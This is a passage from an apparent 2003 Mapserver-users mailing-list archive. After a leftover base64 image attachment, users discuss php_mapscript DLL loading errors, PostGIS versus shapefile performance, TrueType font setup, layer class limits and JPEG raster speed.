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 ------=_NextPart_000_0051_01C2BC93.25FE6A80-- From bbaily at CEMML.ColoState.EDU Wed Jan 15 09:37:25 2003 From: bbaily at CEMML.ColoState.EDU (Beth Baily) Date: Wed, 15 Jan 2003 10:37:25 -0700 Subject: [Mapserver-users] Adding php_mapscript Message-ID: <3E259C55.FC0211F4@CEMML.ColoState.EDU> Listers, I have installed and tested PHP4 on my Win2000 workstation with Apache and cgi mapserver 3.5. PHP4 by itself works fine. I moved php_mapscript.dll to the php4 extensions directory and set extension_dir in php.ini to that directory. Then I used phpinfo_mapscript.php to test it. The output I get in my browser is: Warning: dl() [function.dl]: Unable to load dynamic library 'd:\php\php-4.3.0-Win32\extensions\php_mapscript.dll' - The specified procedure could not be found. in d:\program files\apache group\apache2\htdocs\phpinfo_mapscript.php on line 17 followed by the results from phpinfo(). When I first start my browser and try to run phpinfo_mapscript.php, I get this error: The procedure entry point zend_list_addref could not be located in the dynamic link library php4ts.dll. I can click on OK and then I see the results described above. I would appreciate any help. Thanks, Beth From dlowther at ou.edu Wed Jan 15 09:41:56 2003 From: dlowther at ou.edu (Lowther, David W) Date: Wed, 15 Jan 2003 11:41:56 -0600 Subject: [Mapserver-users] PostGIS / Shapefile Performance Question Message-ID: Hi List, Has anybody experimented with drawing / query time of features from shapefiles vs. features from PostGIS? My experience (and it is extremely limited) is as follows. This is why I am asking about your experiences. Drawing a layer based on a shapefile that is located on the same physical drive as mapserver is faster then drawing that same layer from PostGIS running on a separate machine. But obviously this is a result of several factors including the network connection (in this case 100 megabit on both machines), the hardware in the Postgres server (in this case 233mhz, 128mb ram), and the traffic (in this case just what I am doing by testing). Are there certain situations in which the access to PostGIS might be quicker then a shapefile, say when zoomed in closely or zoomed way out or when doing a point based query? Is there a point where the number of features in a layer would cause PostGIS or shapefiles to perform better? What if I put a monster of a machine in place as the postgres server? Could I build a postgres server that would be as fast as shapefiles local to mapserver? What happens as the application scales? If I saw traffic like mapquest.com or something would shapefiles be faster than PostGIS? Sorry if this seems irrelevant or silly line of questions. I just have a conflict between the convenience / queryability of PostGIS and the speed of shapefiles. Thanks, Dave Lowther From spencer at dmsolutions.ca Wed Jan 15 09:54:44 2003 From: spencer at dmsolutions.ca (Paul Spencer) Date: Wed, 15 Jan 2003 12:54:44 -0500 Subject: [Mapserver-users] Re: [maplab-users] Restricted number of class per layer ? In-Reply-To: <200301151625050473.06BFD517@smtp.wanadoo.fr> References: <200301151625050473.06BFD517@smtp.wanadoo.fr> Message-ID: <3E25A064.5050205@magma.ca> Fabrice, this is a built-in limit in mapserver that is set at compile time (i.e it can be changed if you build mapserver executables yourself. The reason is largely historical and for performance, but I think that the mapserver developers have been discussing the possibility of restructuring some of the internal structures in mapserver to remove the necessity for this. You should probably address any issues to the mapserver-users mailing list to make your opinion known ... the more people that ask for a feature, the more likely it is that it will be done. Cheers, Paul Fabrice ANDREI wrote: > Hello. > I have to specify more than 80 class in a layer. I use Mapserver 3.6, but it seem not too work. I think the maximum number of class in a layer is about 50. Am I true ? Is it a bug, or there is a special reason ? > > Thx. > > Fabrice ANDREI > Observatoire R?gional de l'Environnement > htt://www.observatoire-environnement.org/ > > > _______________________________________________ > Maplab-users mailing list > Maplab-users at dmsolutions.ca > http://lists.dmsolutions.ca/mailman/listinfo/maplab-users > -- Paul Spencer Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca From jdeck at socrates.Berkeley.EDU Wed Jan 15 09:57:48 2003 From: jdeck at socrates.Berkeley.EDU (John Deck) Date: Wed, 15 Jan 2003 09:57:48 -0800 Subject: [Mapserver-users] PostGIS / Shapefile Performance Question In-Reply-To: Message-ID: <001001c2bcbf$9db7a970$38d62080@JDECKLAP> To be fair to postgis you will want to make the comparison to shapefiles with a local install of postgres/postgis only. Having postgis reside on a separate machine can drastically impede performance. In my own experience shapefiles are a tad faster than postgis for querying single polygons and drawing them. However, I haven't delved into tuning postgis/building spatial indexes and performed any advanced queries either. John > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users- > admin at lists.gis.umn.edu] On Behalf Of Lowther, David W > Sent: Wednesday, January 15, 2003 9:42 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] PostGIS / Shapefile Performance Question > > Hi List, > > Has anybody experimented with drawing / query time of features from > shapefiles vs. features from PostGIS? > > My experience (and it is extremely limited) is as follows. This is why I > am > asking about your experiences. > > Drawing a layer based on a shapefile that is located on the same physical > drive as mapserver is faster then drawing that same layer from PostGIS > running on a separate machine. But obviously this is a result of several > factors including the network connection (in this case 100 megabit on both > machines), the hardware in the Postgres server (in this case 233mhz, 128mb > ram), and the traffic (in this case just what I am doing by testing). > > Are there certain situations in which the access to PostGIS might be > quicker > then a shapefile, say when zoomed in closely or zoomed way out or when > doing > a point based query? > > Is there a point where the number of features in a layer would cause > PostGIS > or shapefiles to perform better? > > What if I put a monster of a machine in place as the postgres server? > Could > I build a postgres server that would be as fast as shapefiles local to > mapserver? > > What happens as the application scales? If I saw traffic like mapquest.com > or something would shapefiles be faster than PostGIS? > > Sorry if this seems irrelevant or silly line of questions. I just have a > conflict between the convenience / queryability of PostGIS and the speed > of > shapefiles. > > Thanks, > > Dave Lowther > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dlowther at ou.edu Wed Jan 15 10:00:27 2003 From: dlowther at ou.edu (Lowther, David W) Date: Wed, 15 Jan 2003 12:00:27 -0600 Subject: [Mapserver-users] PostGIS / Shapefile Performance Question Message-ID: John, You are absolutely right. This is not fair to PostGIS. But my WWW server is on Win32, and when I ran postgres/postgis under cygwin on a 700mhz 256mb ram machine the performance was slower then on linux with 233mhx 128mb ram. I'm stuck in the unfair until I move mapserver and the www server to linux. Dave -----Original Message----- From: John Deck [mailto:jdeck at socrates.Berkeley.EDU] Sent: Wednesday, January 15, 2003 11:58 AM To: 'Lowther, David W'; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] PostGIS / Shapefile Performance Question To be fair to postgis you will want to make the comparison to shapefiles with a local install of postgres/postgis only. Having postgis reside on a separate machine can drastically impede performance. In my own experience shapefiles are a tad faster than postgis for querying single polygons and drawing them. However, I haven't delved into tuning postgis/building spatial indexes and performed any advanced queries either. John > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users- > admin at lists.gis.umn.edu] On Behalf Of Lowther, David W > Sent: Wednesday, January 15, 2003 9:42 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] PostGIS / Shapefile Performance Question > > Hi List, > > Has anybody experimented with drawing / query time of features from > shapefiles vs. features from PostGIS? > > My experience (and it is extremely limited) is as follows. This is why I > am > asking about your experiences. > > Drawing a layer based on a shapefile that is located on the same physical > drive as mapserver is faster then drawing that same layer from PostGIS > running on a separate machine. But obviously this is a result of several > factors including the network connection (in this case 100 megabit on both > machines), the hardware in the Postgres server (in this case 233mhz, 128mb > ram), and the traffic (in this case just what I am doing by testing). > > Are there certain situations in which the access to PostGIS might be > quicker > then a shapefile, say when zoomed in closely or zoomed way out or when > doing > a point based query? > > Is there a point where the number of features in a layer would cause > PostGIS > or shapefiles to perform better? > > What if I put a monster of a machine in place as the postgres server? > Could > I build a postgres server that would be as fast as shapefiles local to > mapserver? > > What happens as the application scales? If I saw traffic like mapquest.com > or something would shapefiles be faster than PostGIS? > > Sorry if this seems irrelevant or silly line of questions. I just have a > conflict between the convenience / queryability of PostGIS and the speed > of > shapefiles. > > Thanks, > > Dave Lowther > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From DOtt at PALATINE.IL.US Wed Jan 15 10:04:27 2003 From: DOtt at PALATINE.IL.US (Dale Ott) Date: Wed, 15 Jan 2003 12:04:27 -0600 Subject: [Mapserver-users] Re: Mapserver-users digest, Vol 1 #44 - 38 msgs (Auto Reply.) Message-ID: Sorry but I will be out of the Office until Monday, January 20, 2003. I will be checking my email as soon as I return and will get back to you then. Sorry for any inconvenience. Thanks! From krung at cad.go.th Wed Jan 15 10:33:54 2003 From: krung at cad.go.th (krung) Date: Thu, 16 Jan 2003 01:33:54 +0700 Subject: [Mapserver-users] Working with TrueType Fonts Message-ID: <200301160133.AA116916516@cad.go.th> Hi Calin, What platform do you use? On my experience, if Windows, it would show as you want, but Linux not. If Linux, I used full path to font file,eg. fritqat /your/fonts/path/fritqat.ttf fritqat-bold /your/fonts/path/fritqtb0.ttf fritqat-italic /your/fonts/path/fritqti0.ttf fritqat-bold-italic /your/fonts/path/fritqtb2.ttf And don't forget to set file and directory permission to your server session. HTH Krung ---------- Original Message ---------------------------------- From: "Calin D. NITU" Date: Tue, 14 Jan 2003 17:24:37 +0100 >I am trying to display a True Type font. My map file looks like: > > map > extent 76952.80 189962.49 92359.36 202061.55 > name "test 2" > shapepath "data" > size 600 450 > status on > fontset 'font/fonts.txt' > units meters > ........ > ........ > LAYER > NAME roads_name_init > GROUP "roads" > DATA "roads" > MINSCALE 5000 > STATUS ON > TYPE ANNOTATION > LABELCACHE ON > LABELITEM "NUMBER" > CLASS > LABEL > TYPE truetype > FONT fritqat > MINFEATURESIZE AUTO > MINDISTANCE 100 > ANTIALIAS TRUE > COLOR 0 0 0 > OUTLINECOLOR 220 220 220 > SIZE 11 > ANGLE AUTO > POSITION AUTO > OFFSET 0 2 > buffer 2 > END #LABEL > END #CLASS >END #LAYER ROADS-NAME > >I created a directory called FONT under the directory where it is the >'*.map' file >Here I put all the TTF files and I created a list with the fonts - named >FONTS.TXT: > fritqat fritqat.ttf > fritqat-bold fritqtb0.ttf > fritqat-italic fritqti0.ttf > fritqat-bold-italic fritqtb2.ttf > > > The error that I get is > - "MapServer Error in msGetLabelSize(): Could not find/open font >in ....." - with PHP environment > - "msGetLabelSize(): TrueType Font error. Could not find/open >font" - with clasic HTML > >We are using the stabile version of MAPSERVER 3.6. > >Thank you, >Calin > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From pramsey at refractions.net Wed Jan 15 10:12:14 2003 From: pramsey at refractions.net (Paul Ramsey) Date: Wed, 15 Jan 2003 10:12:14 -0800 Subject: [Mapserver-users] PostGIS / Shapefile Performance Question In-Reply-To: References: Message-ID: <3E25A47E.30508@refractions.net> David, Early in the development of the PostGIS / Mapserver connector we did some benchmarking of PostGIS against Shape files. Shape files will be faster than PostGIS for simple map drawing applications in almost every case. The rendering step is going to be the same regardless of data source. That leaves data access, and an indexed shapefile will always have slightly lower overhead than an indexed spatial table for a simple spatial bounding rectangle query. We found that the speed difference was lowest what the number of features was smallest. Ie, for drawing a map with only 3 features, selected out of a table of 300000, the PostGIS layer took less than 10% longer (on a scale measured in 1/100s of a second, mind you :). For drawing maps with more (several thousand) features, the PostGIS overhead got as high as 20-30%. (Note that all the statements above assume you have build an index on your shape files. It is interesting to note that ESRI has never put out a means of spatially indexing shape files, and as a result there is a kind of collective brain melt in our field which says "shape files are 'too slow' for web mapping". This is true with ArcIMS (no spatial index) but not true with Mapserver.) So why use PostGIS at all? Several reasons: - large shape file archives can be hard to manage if the data changes regularly - if you have an interactive site which allows online updates then concurrent shapefile writing could cause data corruption as well as indexes going out of sync with the underlying data - you can do complex multi-table queries much faster PostGIS than with shape files - you can do attribute-based queries much faster with PostGIS than with shape files (because shape files lack an index on the attributes) - you can use your PostGIS/PostgreSQL system as a full corporate data repository, storing your business attributes and spatial objects in the same data schema, managing the different aspects of the data with many different tools, using standard access methods like JDBC and ODBC Lowther, David W wrote: > Are there certain situations in which the access to PostGIS might be quicker > then a shapefile, say when zoomed in closely or zoomed way out or when doing > a point based query? No. In the very-zoomed-in case the performance will be almost identical, but never faster. > Is there a point where the number of features in a layer would cause PostGIS > or shapefiles to perform better? The PostGIS r-tree index might end up more balanced than the shape file quadtree for certain kinds of spatial data. At larger archive sizes it is possible that this might result in a noticable performance win. I cannot give a concrete example however. > What if I put a monster of a machine in place as the postgres server? Could > I build a postgres server that would be as fast as shapefiles local to > mapserver? Well, if you give your postgis database more oomf to read through the data, you might make it faster than your poor little mapserver read-and-render machine, but it hardly seems fair to make the comparison. If you are buying a monster machine you could just run the read-and-render mapserver on it, and your shape files would still be faster. > What happens as the application scales? If I saw traffic like mapquest.com > or something would shapefiles be faster than PostGIS? Properly laid out shape files, with a tiling system and spatial indexes, should always be faster. If your data changes regularly such a layout might not be managable however, or might be most easily managed with a hybrid system (store working data in PostGIS and snap out a copy for mapserver to read-and-render from on a nightly basis). > Sorry if this seems irrelevant or silly line of questions. I just have a > conflict between the convenience / queryability of PostGIS and the speed of > shapefiles. It is not irrelevant at all. Understanding the tradeoffs (and there *are* tradeoffs for both options) is the core of good systems design. I hope I have provided some useful information. Paul -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ From krung at cad.go.th Wed Jan 15 10:55:02 2003 From: krung at cad.go.th (krung) Date: Thu, 16 Jan 2003 01:55:02 +0700 Subject: [Mapserver-users] Adding php_mapscript Message-ID: <200301160155.AA119079204@cad.go.th> Hi Beth Did you use php_mapscript.dll the same version as your PHP? I went to dmsolution a few days ago, I couldn't find php_mapscript.dll with PHP 4.3.0 support. Krung. ---------- Original Message ---------------------------------- From: Beth Baily Date: Wed, 15 Jan 2003 10:37:25 -0700 >Listers, > >I have installed and tested PHP4 on my Win2000 workstation with Apache >and cgi mapserver 3.5. PHP4 by itself works fine. I moved >php_mapscript.dll to the php4 extensions directory and set extension_dir >in php.ini to that directory. Then I used phpinfo_mapscript.php to test >it. The output I get in my browser is: > >Warning: dl() [function.dl]: Unable to load dynamic library >'d:\php\php-4.3.0-Win32\extensions\php_mapscript.dll' - The specified >procedure could not be found. in d:\program files\apache >group\apache2\htdocs\phpinfo_mapscript.php on line 17 > >followed by the results from phpinfo(). > > >When I first start my browser and try to run phpinfo_mapscript.php, I >get this error: > >The procedure entry point zend_list_addref could not be located in the >dynamic link library php4ts.dll. > >I can click on OK and then I see the results described above. I would >appreciate any help. > >Thanks, >Beth >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From Chip.Hankley at GASAI.Com Wed Jan 15 10:46:00 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Wed, 15 Jan 2003 12:46:00 -0600 Subject: [Mapserver-users] Raster support - JPG problem Message-ID: <3DFF131E4E6D2D4198CDD758F35A5353027852BC@postoffice.GASAI.Com> Michael, As Norman and Daniel pointed out, there are known issues with JPEG and MapServer. That said, I had a similar problem some months back trying to serve up JPEG images to MapServer. I did some experimenting and was finally able to get a JPEG image to come up in MS (sorry, I can't remember exactly what I did), but the performance was terrible. My assumption is that MapServer has to somehow uncompress the JPEG images before rendering them as part of the final image, and that this was the cause of the performance hit (if I simply swapped the data source to a TIF, there was no performance problem). I have no idea if my assessment of how the mechanics of JPEG rendering is correct... but in the end, I concluded that the trade-off for space savings with JPEG didn't make up for the performance hit I was 